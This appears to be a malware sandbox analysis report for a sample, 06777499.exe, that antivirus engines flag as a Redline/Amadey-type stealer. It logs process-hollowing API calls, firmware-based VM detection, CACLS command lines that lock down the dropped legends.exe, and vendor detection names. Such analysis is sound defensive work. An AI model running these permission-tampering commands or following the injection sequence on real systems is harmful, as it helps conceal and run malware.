Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1704 resumed a thread in remote process 2116
Process injection	Process 3028 resumed a thread in remote process 2200
Process injection	Process 2876 resumed a thread in remote process 1944
Process injection	Process 944 resumed a thread in remote process 2084
NtResumeThread May 30, 2023, 1:37 p.m.	thread_handle: 0x000002b8 suspend_count: 1 process_identifier: 2116	1	0	0
NtResumeThread May 30, 2023, 1:38 p.m.	thread_handle: 0x000002b8 suspend_count: 1 process_identifier: 2200	1	0	0
NtResumeThread May 30, 2023, 1:38 p.m.	thread_handle: 0x00000020 suspend_count: 1 process_identifier: 1944	1	0	0
NtResumeThread May 30, 2023, 1:38 p.m.	thread_handle: 0x00000020 suspend_count: 1 process_identifier: 2084	1	0	0

Uses suspicious command line tools or Windows utilities (6 events)

cmdline	"C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "legends.exe" /P "test22:N"&&CACLS "legends.exe" /P "test22:R" /E&&echo Y\|CACLS "..\41bde21dc7" /P "test22:N"&&CACLS "..\41bde21dc7" /P "test22:R" /E&&Exit
cmdline	CACLS "..\41bde21dc7" /P "test22:N"
cmdline	CACLS "legends.exe" /P "test22:R" /E
cmdline	CACLS "..\41bde21dc7" /P "test22:R" /E
cmdline	cmd /k echo Y\|CACLS "legends.exe" /P "test22:N"&&CACLS "legends.exe" /P "test22:R" /E&&echo Y\|CACLS "..\41bde21dc7" /P "test22:N"&&CACLS "..\41bde21dc7" /P "test22:R" /E&&Exit
cmdline	CACLS "legends.exe" /P "test22:N"

Detects Virtual Machines through their custom firmware (1 event)

Time & API	Arguments	Status	Return	Repeated
NtQuerySystemInformation May 30, 2023, 1:38 p.m.	information_class: 76 (SystemFirmwareTableInformation)		3221225507	0

Executed a process and injected code into it, probably while unpacking (50 out of 82 events)

Time & API	Arguments	Status	Return
CreateProcessInternalW May 30, 2023, 1:37 p.m.	thread_identifier: 792 thread_handle: 0x0000001c process_identifier: 2144 current_directory: filepath: track: 1 command_line: C:\Users\test22\AppData\Local\Temp\IXP000.TMP\z1392128.exe filepath_r: stack_pivoted: 0 creation_flags: 524320 (EXTENDED_STARTUPINFO_PRESENT\|NORMAL_PRIORITY_CLASS) inherit_handles: 0 process_handle: 0x00000124	1	1
CreateProcessInternalW May 30, 2023, 1:37 p.m.	thread_identifier: 1844 thread_handle: 0x00000124 process_identifier: 1704 current_directory: filepath: track: 1 command_line: C:\Users\test22\AppData\Local\Temp\IXP000.TMP\s8328851.exe filepath_r: stack_pivoted: 0 creation_flags: 524320 (EXTENDED_STARTUPINFO_PRESENT\|NORMAL_PRIORITY_CLASS) inherit_handles: 0 process_handle: 0x0000001c	1	1
CreateProcessInternalW May 30, 2023, 1:37 p.m.	thread_identifier: 2208 thread_handle: 0x0000001c process_identifier: 2212 current_directory: filepath: track: 1 command_line: C:\Users\test22\AppData\Local\Temp\IXP001.TMP\z4553979.exe filepath_r: stack_pivoted: 0 creation_flags: 524320 (EXTENDED_STARTUPINFO_PRESENT\|NORMAL_PRIORITY_CLASS) inherit_handles: 0 process_handle: 0x00000124	1	1
CreateProcessInternalW May 30, 2023, 1:37 p.m.	thread_identifier: 504 thread_handle: 0x00000124 process_identifier: 1196 current_directory: filepath: track: 1 command_line: C:\Users\test22\AppData\Local\Temp\IXP001.TMP\r2486584.exe filepath_r: stack_pivoted: 0 creation_flags: 524320 (EXTENDED_STARTUPINFO_PRESENT\|NORMAL_PRIORITY_CLASS) inherit_handles: 0 process_handle: 0x0000001c	1	1
CreateProcessInternalW May 30, 2023, 1:37 p.m.	thread_identifier: 2292 thread_handle: 0x0000001c process_identifier: 2252 current_directory: filepath: track: 1 command_line: C:\Users\test22\AppData\Local\Temp\IXP002.TMP\o3829852.exe filepath_r: stack_pivoted: 0 creation_flags: 524320 (EXTENDED_STARTUPINFO_PRESENT\|NORMAL_PRIORITY_CLASS) inherit_handles: 0 process_handle: 0x00000124	1	1
CreateProcessInternalW May 30, 2023, 1:37 p.m.	thread_identifier: 2348 thread_handle: 0x00000124 process_identifier: 2340 current_directory: filepath: track: 1 command_line: C:\Users\test22\AppData\Local\Temp\IXP002.TMP\p7220078.exe filepath_r: stack_pivoted: 0 creation_flags: 524320 (EXTENDED_STARTUPINFO_PRESENT\|NORMAL_PRIORITY_CLASS) inherit_handles: 0 process_handle: 0x0000001c	1	1
CreateProcessInternalW May 30, 2023, 1:37 p.m.	thread_identifier: 0 thread_handle: 0x00000000 process_identifier: 0 current_directory: filepath: C:\ track: 0 command_line: filepath_r: C:\\ stack_pivoted: 0 creation_flags: 4 (CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000000		0
CreateProcessInternalW May 30, 2023, 1:37 p.m.	thread_identifier: 0 thread_handle: 0x00000000 process_identifier: 0 current_directory: filepath: C:\ track: 0 command_line: filepath_r: C:\\ stack_pivoted: 0 creation_flags: 4 (CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000000		0
CreateProcessInternalW May 30, 2023, 1:37 p.m.	thread_identifier: 0 thread_handle: 0x00000000 process_identifier: 0 current_directory: filepath: C:\ track: 0 command_line: filepath_r: C:\\ stack_pivoted: 0 creation_flags: 4 (CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000000		0
CreateProcessInternalW May 30, 2023, 1:37 p.m.	thread_identifier: 0 thread_handle: 0x00000000 process_identifier: 0 current_directory: filepath: C:\ track: 0 command_line: filepath_r: C:\\ stack_pivoted: 0 creation_flags: 4 (CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000000		0
CreateProcessInternalW May 30, 2023, 1:37 p.m.	thread_identifier: 0 thread_handle: 0x00000000 process_identifier: 0 current_directory: filepath: C:\ track: 0 command_line: filepath_r: C:\\ stack_pivoted: 0 creation_flags: 4 (CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000000		0
CreateProcessInternalW May 30, 2023, 1:37 p.m.	thread_identifier: 0 thread_handle: 0x00000000 process_identifier: 0 current_directory: filepath: C:\ track: 0 command_line: filepath_r: C:\\ stack_pivoted: 0 creation_flags: 4 (CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000000		0
NtResumeThread May 30, 2023, 1:37 p.m.	thread_handle: 0x00000184 suspend_count: 1 process_identifier: 2340	1	0
NtResumeThread May 30, 2023, 1:37 p.m.	thread_handle: 0x000001fc suspend_count: 1 process_identifier: 2340	1	0
NtResumeThread May 30, 2023, 1:37 p.m.	thread_handle: 0x00000238 suspend_count: 1 process_identifier: 2340	1	0
NtResumeThread May 30, 2023, 1:37 p.m.	thread_handle: 0x00000270 suspend_count: 1 process_identifier: 2340	1	0
NtGetContextThread May 30, 2023, 1:37 p.m.	thread_handle: 0x00000188	1	0
NtGetContextThread May 30, 2023, 1:37 p.m.	thread_handle: 0x00000188	1	0
NtResumeThread May 30, 2023, 1:37 p.m.	thread_handle: 0x00000188 suspend_count: 1 process_identifier: 2340	1	0
CreateProcessInternalW May 30, 2023, 1:37 p.m.	thread_identifier: 0 thread_handle: 0x00000000 process_identifier: 0 current_directory: filepath: C:\ track: 0 command_line: filepath_r: C:\\ stack_pivoted: 0 creation_flags: 4 (CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000000		0
CreateProcessInternalW May 30, 2023, 1:37 p.m.	thread_identifier: 0 thread_handle: 0x00000000 process_identifier: 0 current_directory: filepath: C:\ track: 0 command_line: filepath_r: C:\\ stack_pivoted: 0 creation_flags: 4 (CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000000		0
CreateProcessInternalW May 30, 2023, 1:37 p.m.	thread_identifier: 0 thread_handle: 0x00000000 process_identifier: 0 current_directory: filepath: C:\ track: 0 command_line: filepath_r: C:\\ stack_pivoted: 0 creation_flags: 4 (CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000000		0
CreateProcessInternalW May 30, 2023, 1:37 p.m.	thread_identifier: 0 thread_handle: 0x00000000 process_identifier: 0 current_directory: filepath: C:\ track: 0 command_line: filepath_r: C:\\ stack_pivoted: 0 creation_flags: 4 (CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000000		0
CreateProcessInternalW May 30, 2023, 1:37 p.m.	thread_identifier: 0 thread_handle: 0x00000000 process_identifier: 0 current_directory: filepath: C:\ track: 0 command_line: filepath_r: C:\\ stack_pivoted: 0 creation_flags: 4 (CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000000		0
CreateProcessInternalW May 30, 2023, 1:37 p.m.	thread_identifier: 0 thread_handle: 0x00000000 process_identifier: 0 current_directory: filepath: C:\ track: 0 command_line: filepath_r: C:\\ stack_pivoted: 0 creation_flags: 4 (CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000000		0
NtResumeThread May 30, 2023, 1:37 p.m.	thread_handle: 0x00000184 suspend_count: 1 process_identifier: 1704	1	0
NtResumeThread May 30, 2023, 1:37 p.m.	thread_handle: 0x000001f4 suspend_count: 1 process_identifier: 1704	1	0
NtResumeThread May 30, 2023, 1:37 p.m.	thread_handle: 0x00000244 suspend_count: 1 process_identifier: 1704	1	0
NtResumeThread May 30, 2023, 1:37 p.m.	thread_handle: 0x00000278 suspend_count: 1 process_identifier: 1704	1	0
NtResumeThread May 30, 2023, 1:37 p.m.	thread_handle: 0x0000028c suspend_count: 1 process_identifier: 1704	1	0
NtResumeThread May 30, 2023, 1:37 p.m.	thread_handle: 0x000002ac suspend_count: 1 process_identifier: 1704	1	0
CreateProcessInternalW May 30, 2023, 1:37 p.m.	thread_identifier: 996 thread_handle: 0x000002b8 process_identifier: 1680 current_directory: filepath: track: 1 command_line: C:\Users\test22\AppData\Local\Temp\IXP000.TMP\s8328851.exe filepath_r: stack_pivoted: 0 creation_flags: 134217740 (CREATE_NO_WINDOW\|CREATE_SUSPENDED\|DETACHED_PROCESS) inherit_handles: 0 process_handle: 0x000002bc	1	1
NtUnmapViewOfSection May 30, 2023, 1:37 p.m.	base_address: 0x00400000 region_size: 118784 process_identifier: 1680 process_handle: 0x000002bc		3221225497
NtAllocateVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 1680 region_size: 229376 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000002bc		3221225496
CreateProcessInternalW May 30, 2023, 1:37 p.m.	thread_identifier: 2128 thread_handle: 0x000002b8 process_identifier: 2116 current_directory: filepath: track: 1 command_line: C:\Users\test22\AppData\Local\Temp\IXP000.TMP\s8328851.exe filepath_r: stack_pivoted: 0 creation_flags: 134217740 (CREATE_NO_WINDOW\|CREATE_SUSPENDED\|DETACHED_PROCESS) inherit_handles: 0 process_handle: 0x000002bc	1	1
NtUnmapViewOfSection May 30, 2023, 1:37 p.m.	base_address: 0x00400000 region_size: 458752 process_identifier: 2116 process_handle: 0x000002bc		3221225497
NtAllocateVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2116 region_size: 229376 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000002bc	1	0
NtGetContextThread May 30, 2023, 1:37 p.m.	thread_handle: 0x000002b8	1	0
NtSetContextThread May 30, 2023, 1:37 p.m.	registers.eip: 2001207748 registers.esp: 5701168 registers.edi: 0 registers.eax: 4281823 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x000002b8 process_identifier: 2116	1	0
NtResumeThread May 30, 2023, 1:37 p.m.	thread_handle: 0x000002b8 suspend_count: 1 process_identifier: 2116	1	0
CreateProcessInternalW May 30, 2023, 1:38 p.m.	thread_identifier: 3056 thread_handle: 0x000003a0 process_identifier: 3028 current_directory: C:\Users\test22\AppData\Local\Temp\IXP000.TMP filepath: C:\Users\test22\AppData\Local\Temp\41bde21dc7\legends.exe track: 1 command_line: "C:\Users\test22\AppData\Local\Temp\41bde21dc7\legends.exe" filepath_r: C:\Users\test22\AppData\Local\Temp\41bde21dc7\legends.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000003a8	1	1
NtResumeThread May 30, 2023, 1:38 p.m.	thread_handle: 0x00000184 suspend_count: 1 process_identifier: 3028	1	0
NtResumeThread May 30, 2023, 1:38 p.m.	thread_handle: 0x000001fc suspend_count: 1 process_identifier: 3028	1	0
NtResumeThread May 30, 2023, 1:38 p.m.	thread_handle: 0x00000240 suspend_count: 1 process_identifier: 3028	1	0
NtResumeThread May 30, 2023, 1:38 p.m.	thread_handle: 0x00000270 suspend_count: 1 process_identifier: 3028	1	0
NtResumeThread May 30, 2023, 1:38 p.m.	thread_handle: 0x0000028c suspend_count: 1 process_identifier: 3028	1	0
NtResumeThread May 30, 2023, 1:38 p.m.	thread_handle: 0x000002a0 suspend_count: 1 process_identifier: 3028	1	0
CreateProcessInternalW May 30, 2023, 1:38 p.m.	thread_identifier: 2196 thread_handle: 0x000002b8 process_identifier: 2200 current_directory: filepath: track: 1 command_line: C:\Users\test22\AppData\Local\Temp\41bde21dc7\legends.exe filepath_r: stack_pivoted: 0 creation_flags: 134217740 (CREATE_NO_WINDOW\|CREATE_SUSPENDED\|DETACHED_PROCESS) inherit_handles: 0 process_handle: 0x000002bc	1	1
NtUnmapViewOfSection May 30, 2023, 1:38 p.m.	base_address: 0x00400000 region_size: 5177344 process_identifier: 2200 process_handle: 0x000002bc		3221225497
NtAllocateVirtualMemory May 30, 2023, 1:38 p.m.	process_identifier: 2200 region_size: 229376 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000002bc	1	0

File has been identified by 39 AntiVirus engines on VirusTotal as malicious (39 events)

Bkav	W32.AIDetectMalware
Elastic	malicious (high confidence)
MicroWorld-eScan	IL:Trojan.MSILZilla.23137
ALYac	Gen:Variant.Zusy.470153
Malwarebytes	Malware.AI.2297261706
VIPRE	IL:Trojan.MSILZilla.23137
Sangfor	Trojan.Win32.Save.a
K7AntiVirus	Trojan ( 005a59f41 )
K7GW	Trojan ( 005a59f41 )
Cybereason	malicious.438aa7
Cyren	W32/Kryptik.JKR.gen!Eldorado
Symantec	ML.Attribute.HighConfidence
ESET-NOD32	multiple detections
APEX	Malicious
ClamAV	Win.Packed.Lazy-9958163-0
Kaspersky	UDS:Trojan-Spy.MSIL.Stealer.gen
SUPERAntiSpyware	Trojan.Agent/Gen-Downloader
Avast	Win32:TrojanX-gen [Trj]
Tencent	Trojan-Spy.MSIL.Redline.kc
F-Secure	Heuristic.HEUR/AGEN.1310591
DrWeb	Trojan.PWS.Stealer.36123
McAfee-GW-Edition	BehavesLike.Win32.AgentTesla.tc
Trapmine	malicious.high.ml.score
Sophos	Mal/Generic-S
Ikarus	Trojan.Spy.Stealer
Avira	HEUR/AGEN.1310591
Antiy-AVL	Trojan/MSIL.Kryptik
Gridinsoft	Trojan.Win32.Amadey.dg!se47453
Microsoft	Trojan:Win32/Redline.CAW!MTB
ZoneAlarm	UDS:Trojan.Win32.Inject
GData	MSIL.Trojan-Stealer.Redline.G
Cynet	Malicious (score: 99)
McAfee	Artemis!6392F9473488
Cylance	unsafe
Rising	Malware.Obfus/MSIL@AI.100 (RDM.MSIL2:OKSWSIjizNW6XvRtKVDolw)
SentinelOne	Static AI - Malicious SFX
Fortinet	MSIL/Disabler.DR!tr
AVG	Win32:TrojanX-gen [Trj]
DeepInstinct	MALICIOUS

06777499.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All